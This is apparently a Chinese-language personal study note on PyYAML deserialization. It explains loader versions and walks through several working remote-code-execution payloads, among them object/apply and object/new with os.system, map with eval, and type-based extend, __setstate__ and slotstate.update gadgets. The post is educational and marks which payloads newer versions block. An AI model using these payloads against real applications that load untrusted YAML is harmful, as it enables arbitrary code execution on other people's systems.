YAML反序列化

一问可能三不知的YAML反序列化

简单介绍

Yaml简介

YAML是一种直观的能够被电脑识别的的数据序列化格式,容易被人类阅读,并且容易和脚本语言交互,YAML类似于XML,但是语法比XML简单得多,对于转化成数组或可以hash的数据时是很简单有效的。

应用

由于其只是一种数据格式,那么它自然可以在多种语言里大展神威。鉴于主包现在储备有限,目前只能记录一下pyyaml的学习部分,至于Java大概要等之后了。

PyYAML

pip show pyyaml#查看pyyaml版本

version<5.1

PyYaml下支持所有yaml标签转化为python对应类型,详见Yaml与python类型的对照表

其中有五个强大的Complex Python tags支持转化为指定的python模块,类,方法以及对象实例

YAML tag Python tag
!!python/name:module.name module.name
!!python/module:package.module package.module
!!python/object:module.cls module.cls instance
!!python/object/new:module.cls module.cls instance
!!python/object/apply:module.f value of f(…)
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]    
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]

=5.1

在 PyYAML >= 5.1 时,开发者就将构造器分为:

  1. BaseConstructor:没有任何强制类型转换
  2. SafeConstructor:只有基础类型的强制类型转换
  3. FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器
  4. UnsafeConstructor:支持全部的强制类型转换
  5. Constructor:等同于 UnsafeConstructor

那么load时需要主动指定加载器了,否则就会报错 the default Loader is unsafe,默认FullLoader

此时,我们需要增加一个loader请求参数:

import yaml
f = open('config.yml','r')
y = yaml.load(f,Loader=yaml.FullLoader)
print(y)
针对不同的需要,加载器有如下几种类型:
  • BaseLoader:仅加载最基本的YAML
  • SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
  • FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
  • UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

大概是这样子

from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader) # deserializing data
print(deserialized_data)

这样的构造器还有:

  1. yaml.unsafe_load(exp)
  2. yaml.unsafe_load_all(exp)
  3. yaml.load(exp, Loader=UnsafeLoader)
  4. yaml.load(exp, Loader=Loader)
  5. yaml.load_all(exp, Loader=UnsafeLoader)
  6. yaml.load_all(exp, Loader=Loader)

除了apply之外。还可以利用map来打

map

在 python3 中 map 返回的是个迭代器,那么可以配合其他函数进行 rce ,比如

tuple(map(eval, ["__import__('os').system('whoami')"]))
# 其中返回的数据类型tuple可以换成list、set、bytes、frozenset都行
import yaml

poc = '''
!!python/object/new:tuple (frozenset/bytes)
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"]
'''
yaml.load(poc)

listitems 触发 extend

从上面的分析可以看出来,我们不需要直接命令执行,只需要满足 触发带参调用 + 引入函数 就能rce

construct_python_object_apply中看到image-20250121114930896

对于 listitems,这里作为参数可以调用前面返回的类里的 extend 方法

那么我们就需要自行构造一个类,实例化后有 extend 方法可以调用

使用 type() 构造一个 test 类,其中具有 extend 方法,调用 exec

type("test",tuple(),{"extend":exec})().extend("__import__('os').system('whoami')")

Python

于是可以构造出poc:

!!python/object/new:type
args:
  - test
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('whoami')"
- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load

state触发

既然 listitems 可以利用,那么同样作为分支判断其中调用方法的还有 state

image-20250121172309606

跟进 set_python_instance_state

image-20250121173343649

__setstate__只需要 instance 里有 setstate 就会调用,修改下上面 extend 的 poc 就能用:

!!python/object/new:type
args:
  - test
  - !!python/tuple []
  - {"__setstate__": !!python/name:exec }
state: "__import__('os').system('whoami')"

update

一开始的想法是打instance.__dict__.update(state),但是发现 dict 好像覆写不掉

那么这里的目标转到slotstate.update(state)

要进入这个判断要求类中没有__setstate__方法,没有__dict__属性

这个直接上poc调试了

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('whoami')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

首先,yaml 解析是从内到外加载的,先加载 !!python/object/new:staticmethod

首次加载

image-20250121231943019

这里会进instance.__dict__.update(state),因为静态方法所属类一定有 dict 属性

image-20250121232517512

经过之后 __dict__中的键值更新

image-20250121232945098

然后是第二轮,加载 !!python/object/new:str

image-20250121233129272

此时的 state 第二项就是恶意payload

然后经过state, slotstate = state的解构

image-20250121233254825

state 被设置为了我们第一次放入的 state,slotstate 被设置为了我们第二次放入的 state

由于 str 没有__dict__属性,于是会直接触发 slotstate.update(state)image-20250121233436336

slotstate.update 此时是 eval,于是rce

image-20250121233600114

总结一下就是做了这样的一个操作:

a=staticmethod(None)
a.__dict__.update({"update":eval,"items":list})
a.update("__import__('os').system('whoami')")

version>=5.2

看到的版本现在已经用不了了,会报错:

raise ConstructorError(None, None,
yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/new:str'
  in "<unicode string>", line 2, column 3:
    - !!python/object/new:str
      ^

image-20250721144514788

发现在我这个版本(version==6.1)/object/new 的方法已经完全被舍弃了,只能在UnsafeConstructor中看到了

那么利用方法必然要变一下了

后面省了一下,这个地方在5.4就被舍弃掉了。。

而剩余可利用的也只剩下一个name,它相较于5.1时没有太大变化,还是只能引入包而不能进行命令执行

SnakeYAML

java没学,学了再补